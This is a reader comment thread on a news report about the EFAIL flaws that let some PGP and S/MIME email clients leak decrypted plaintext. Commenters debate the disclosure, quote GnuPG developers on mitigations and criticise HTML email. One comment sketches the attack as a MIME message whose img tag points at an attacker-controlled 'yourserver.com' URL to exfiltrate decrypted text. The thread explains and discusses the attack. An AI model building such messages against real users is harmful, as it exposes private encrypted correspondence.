back to article PGP and S/MIME decryptors can leak plaintext from emails, says infosec professor

A professor of Computer Security at the Münster University of Applied Sciences‏ has warned that popular email encryption tool Pretty Good Privacy (PGP) might actually allow Pretty Grievous P0wnage thanks to bugs that can allow supposedly encrypted emails to be read as plaintext. Professor Sebastian Schinzel took to Twitter …

  1. PleebSmasher
    WTF?

    how bad is it?

    "these vulnerabilities pose an immediate risk to those using these tools for email communication, including the potential exposure of the contents of past messages."

    "immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email"

    It's not too clear. Is the encryption the problem or is it the software? Are all the PGP encrypted messages hoovered up by the NSA to be considered broken now?

    "users should arrange for the use of alternative end-to-end secure channels, such as Signal"

    Quick, activate the Signal vulns!

    1. Anonymous Coward
      Anonymous Coward

      Re: how bad is it?

      Agreed, not too clear. Also, the examples are all using GnuPG. What about Symantec Encryption Desktop, formerly known as PGP Desktop?

    2. big_D Silver badge

      Re: how bad is it?

      The GnuPG people are annoyed, according to a colleague who is on the mailing list. They weren't informed in advance (although Werner Koch managed to view the report). It seems to be a well known problem with HTML emails and clients (MUAs) that automatically deference external links - so the "problem", according to them is with the way the email clients work.

      Edit: edited to clean up line-breaks!

      https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060317.html

      Werner saw a preprint of this paper some time ago. I saw it recently. Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of respect for the paper authors I will skip further comment until such time as the paper is published.

      It would've been nice if EFF had reached out to us for comment, rather than apparently only talking to the paper authors. We hope they'll reach out next time.

      https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html

      Some may have noticed that the EFF has warnings about the use of PGP out which I consider pretty overblown. The GnuPG team was not contacted by the researchers but I got access to version of the paper related to KMail. It seems to be the complete paper with just the names of the other MUAs redacted.

      Given that the EFF suggests to deinstall GpgOL, we know tha it is not vulnerable; see see https://dev.gnupg.org/T3714.).

      Here is a response I wrote on the weekend to a reporter who inquired on this problem.

      =============

      The topic of that paper is that HTML is used as a back channel to create an oracle for modified encrypted mails. It is long known that HTML mails and in particular external links like <img href="tla.org/TAG"/> are evil if the MUA actually honors them (which many meanwhile seem to do again; see all these newsletters). Due to broken MIME parsers a bunch of MUAs seem to concatenate decrypted HTML mime parts which makes it easy to plant such HTML snippets.

      There are two ways to mitigate this attack

      - Don't use HTML mails. Or if you really need to read them use a proper MIME parser and disallow any access to external links.

      - Use authenticated encryption.

      The latter is actually easy for OpenPGP because we started to use authenticated encryption (AE) since 2000 or 2001. Our AE is called MDC (Modification detection code) and was back then introduced for a very similar attack. Unfortunately some OpenPGP implementations were late to introduce MDC and thus GPG could not fail hard on receiving a mail without an MDC. However, an error is returned during decrypting and no MDC is used:

      gpg: encrypted with 256-bit ECDH key, ID 7F3B7ED4319BCCA8, created 2017-01-01

      "Werner Koch <wk at gnupg.org>"

      [GNUPG:] BEGIN_DECRYPTION

      [GNUPG:] DECRYPTION_INFO 0 7

      [GNUPG:] PLAINTEXT 62 1526109594

      [GNUPG:] PLAINTEXT_LENGTH 69

      There is more to life than increasing its speed.

      -- Mahatma Gandhi

      gpg: WARNING: message was not integrity protected

      [GNUPG:] DECRYPTION_FAILED

      [GNUPG:] END_DECRYPTION

      When giving a filename on the command line an output file is even not created. This can't be done in pipe mode because gpg allows to process huge amounts of data. MUAs are advised to consider the DECRYPTION_FAILED status code and not to show the data or at least use a proper way to display the possible corrupted mail without creating an oracle and to inform the user that the mail is fishy.

      For S/MIME authenticated encryption is not used or implemented in practice and thus there is no short term way to fix this in S/MIME except for not using HTML mails.

      The upshot of this is that OpenPGP messages are way better protected against such kind of attacks than S/MIME messages. Unless, well, the MUAs are correctly implemented and check error codes!

      1. John Smith 19 Gold badge
        Unhappy

        "he upshot of this is that OpenPGP messages are way better protected against

        such kind of attacks than S/MIME messages. U"

        So bottom line.

        If you really need security don'f FFS send HTML based email.

        Live with a more direct style. More text, less "rich content"

        1. big_D Silver badge

          Re: "he upshot of this is that OpenPGP messages are way better protected against

          Exactly. email was never designed to use HTML and it doesn't do it properly.

          There used to be a saying, if you can't write in in plain text, then email is the wrong medium. That sending an HMTL email was rude and impolite.

          Times have changed, etiquette rules are ignored, because, oooh, shiny...

    3. Anonymous Coward
      Anonymous Coward

      Re: how bad is it?

      "It's not too clear. Is the encryption the problem or is it the software?"

      From them telling you not to read PGP messages, it must be the software. Probably a critical vulnerability that then lets an attacker then steal your keys.

      PGP never had perfect forward secrecy afaik so once you have the keys, you could indeed read all historical messages.

    4. Roland6 Silver badge

      Re: how bad is it?

      >It's not too clear. Is the encryption the problem or is it the software?

      Website with reasonable level of tech detail, that explains the issues and mitigations here: https://efail.de/

  2. John Robson Silver badge

    Especially stop reading...

    That implies to me that there is a side channel attack on the decryption - it was always my assumption that by the time your destination computer was compromised then so was anything sent to it...

    1. big_D Silver badge

      Re: Especially stop reading...

      It seems to be how the MUAs deal with HTML email and referencing external links. HTML-Email has long been known as a bad thing (tm), or as GnuPG calls it, evil.

      1. Doctor Syntax Silver badge

        Re: Especially stop reading...

        "It seems to be how the MUAs deal with HTML email and referencing external links."

        If you're concerned about security surely you've turned off rendering HTML even before your got round to installing a PGP add-in.

    2. JeffyPoooh
      Pint

      Re: Especially stop reading...

      "...exposure of the contents of past messages.”

      Doesn't sound very side channel. But we'll see...

      1. Doctor Syntax Silver badge

        Re: Especially stop reading...

        "Doesn't sound very side channel."

        Apparently it requires the attacker to have intercepted the encrypted version and then wrapped it up in a multi-part email which persuades the victim's client to wrap the decrypt as an HTML request to the attacker's domain - providing the victim has been daft enough to enable HTML rendering.

  3. Anonymous Coward
    Anonymous Coward

    Protonmail.....

    Will be interesting to see what the likes of Protonmail have to say (and do) about this.

    They make a big song and dance of their PGP capabilities and their JavaScript PGP magic.

  4. Nick Kew

    Beyond the obvious?

    Decryptors in a mail client. OK.

    I wonder to what extent we're talking the obvious: things like accidentally quoting or forwarding, as in when your system thrashes, your desktop becomes unresponsive, and your unintended actions get buffered (not to mention your unencrypted contents getting swapped to disc). Or even just the ability to cut&paste unencrypted text?

    Hmmm. I guess El Reg will give us detail, and a URL for the report itself, when it's published?

  5. Alan J. Wylie
    1. monty75

      Re: It seems it's a vul'n in HTML parsing in some clients

      Came to post the same links. Responsible disclosure should work both ways : don't reveal exploits before a patch is available but also don't put out half the story with a load of Chicken Little hyperbole and cause panic.

      1. Anonymous Coward
        Anonymous Coward

        Re: It seems it's a vul'n in HTML parsing in some clients

        I saw those tweets too. And also the Researcher In Chief who was quick off the mark to say "could you please keep it quiet?".

        All smells to me as to the researchers want to ensure they get their time in the limelight when the reality of their findings **might** well be that this is all being hyped up a little bit too much (just a gut feeling, I haven't seen the underlying docs).

    2. Alan J. Wylie

      Re: It seems it's a vul'n in HTML parsing in some clients

      Martijn Grooten on twitter

      The first of two (!) attacks does seem rather simple. Send email with three MIME parts: 1. <img src="http://yourserver.com/ " 2. [PGP encrypted content] 3. "> Mail client decrypts 2, concatenates three parts and does lookup on the URL which you control.

    3. Anonymous Coward
      Anonymous Coward

      @Alan

      Thanks for sharing!

      Seems like the classic case of a researcher who discovered the obvious and then makes a big fuss about it for no apparent reason (other than, maybe, getting themselves better into the picture).

      I mean.. if you claim that such problems are so massive that people should uninstall these programs while you:

      A) Never bothered to contact the authors of GnuPG

      B) Fail to mention that a simple fix can be not to use HTML email formatting

      ... then I think you're overreacting and may even uphold a double agenda. Shame on them.

    4. brotherelf

      Re: It seems it's a vul'n in HTML parsing in some clients

      Of course, that is a wonderful piece of FUD BS in itself: "The problem is in the mail client implementation, and neither in the encryption implementation nor in the protocol, yet our implementation is OK (unless it isn't, in which case it's definitely not our fault), and the other protocol is vulnerable."

  6. Anonymous Coward
    Anonymous Coward

    I see grumpy researcher has just posted the following on Twitter "Due to our embargo being broken, here are the full details"

    With the following link: https://efail.de/

    I guess part of the reason they wanted to keep it quiet was they needed to keep up with the modern trend of having to give your vulnerability a hash-taggable name and its own website !

  7. JeffyPoooh
    Pint

    "...exposure of the contents of past messages.”

    So the boffins do their responsible disclosure. Then then evil regimes decrypt their stockpile of old PGP email intercepts from suspected dissidents. Then it's Mary Queen of Scots all over again.

    The existence of mass storage combined with the memory of regimes brings peril.

    The Drake Equation needs another term, equivalent to nuclear peril. Except more IT based, where the alien civilizations' original thinking are destroyed by lack of privacy. The Great Silence of the Void is explained because only the quiet vegetable farmers survive.

    1. Doctor Syntax Silver badge

      Re: "...exposure of the contents of past messages.”

      "Then then evil regimes decrypt their stockpile of old PGP email intercepts from suspected dissidents."

      Easily avoided. Don't enable HTML rendering in your email client and don't, of course, use webmail. But if you were being careful these would have been as basic as blocking ads and running NoScript in your browser.

      1. David Shaw

        Re: "...exposure of the contents of past messages.”

        Call me old fashioned, but as soon as I was required to communicate some other project with a CERT using PGP at their request, I chose a random ancient PC (out of hundreds available) to do the offline encoding and later decoding. And I set my PGP keys to expire in 3-weeks, not sure if that was overkill?

        I then just used a generic mail client to send blobs of text back & forth, it seemed to work OK as the uptick in the spear-phishing from Gloucestershire was noticeable. They even phoned me up, pretending to be intel. Well done chaps. Go after some real targets.

        I don’t trust non-mathematically proven ‘secure’ mail ‘add-ons’, never mind html-rich or remote beacon pixel laden emails

  8. Christian Berger

    The Details have been published

    https://efail.de/

    And it is a problem of HTML-Mail and broken clients which load external images.

    1. Hans 1

      Re: The Details have been published

      And it is a problem of HTML-Mail and broken clients which load external images.

      Thankfully, my email client blocks external images by default, I have to actively enable it per sender. Then again, HTML-email is not wise when you use PGP, anyway.

    2. Anonymous Coward
      Anonymous Coward

      Re: The Details have been published

      I thought today any mail client would no longer load any external entity by default. Which don't? How many users change that setting? Or the need to track users through emails too made some clients to contact URLs when they shouldn't?

      User tracking is killing the Internet - and society with it.

      1. Christian Berger

        Re: The Details have been published

        I've seen multiple. For example "David" some obscure kitchen-sink package does it, and doesn't even have a way to disable it. (you can however browse the TV-schedule with it, true enterprise grade software)

        I think even Outlook shows such images by default.

        BTW there are Spam companies like Adobe which provide tracking services for e-mail abusing those features.

  9. Norman Nescio Silver badge

    Defensive programming

    I'm beginning to wonder that, by default, mail clients should have a built in firewall that prevents outgoing network requests to anything other than the configured email servers. Obviously, the default should be changeable by the knowledgeable or those with an appetite for risk, but it strikes me that little of value would be lost.

    Nothing would stop you from saving the email as a separate file and opening that file in a full-fat html-renderer aka web-browser if you wanted to activate the single-pixel transparent gifs and animated signatures.

    1. Dan 55 Silver badge

      Re: Defensive programming

      Well, yes, but they don't need a firewall. They just need their renderer to not connect to URLs in the first place.

    2. Christian Berger

      Re: Defensive programming

      "by default, mail clients should have a built in firewall that prevents outgoing network requests"

      Well there is no actual use for HTML-E-Mail. And even those pseudo uses work fine with minimalistic renders which ignore everything except for some tags and never talk to the networ nor execute scripts.

      1. Doctor Syntax Silver badge

        Re: Defensive programming

        "Well there is no actual use for HTML-E-Mail."

        Certainly no good uses. AFAICS it was put together for B-Ark passengers who have so little confidence in being able to express themselves in words that they feel a need to put their message in fancy dress.

  10. Tom Paine

    "Use Signal instead"

    Errrrr

    https://www.theregister.co.uk/2018/05/14/electron_xss_vulnerability_cve_2018_1000136/

    1. Alan J. Wylie
  11. martinusher Silver badge

    If you use HTML in your mail messages then what do you expect?

    Email that contains HTML might look pretty but it exposes you to all sorts of remote execution vulnerabilities. So anyone who values their computer uses plain text messaging. If there's something that just has to be displayed in a browser then the reference can be copied into a proper browser and examined -- on another machine if necessary.

  12. razorfishsl

    So if I buy a lock

    and then a criminal rips the door off , I should blame the lock manufacturer?

  13. hayzoos

    I preferred to use PGP without email integration. I would prepare the plaintext and encrypt in an isolated environment. The encrypted file would be sent as an attachment.

    For received encrypted emails I would export the cyphertext part to a file, transfer to the isolated environment, and decrypt there.

    I remember one particular encrypted email. It was a saved copy of a webpage with an accompanying comment, keep this secret. Said webpage included embedded resources to be downloaded. I said they should have their encryption keys taken away before they hurt someone.

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Other stories you might like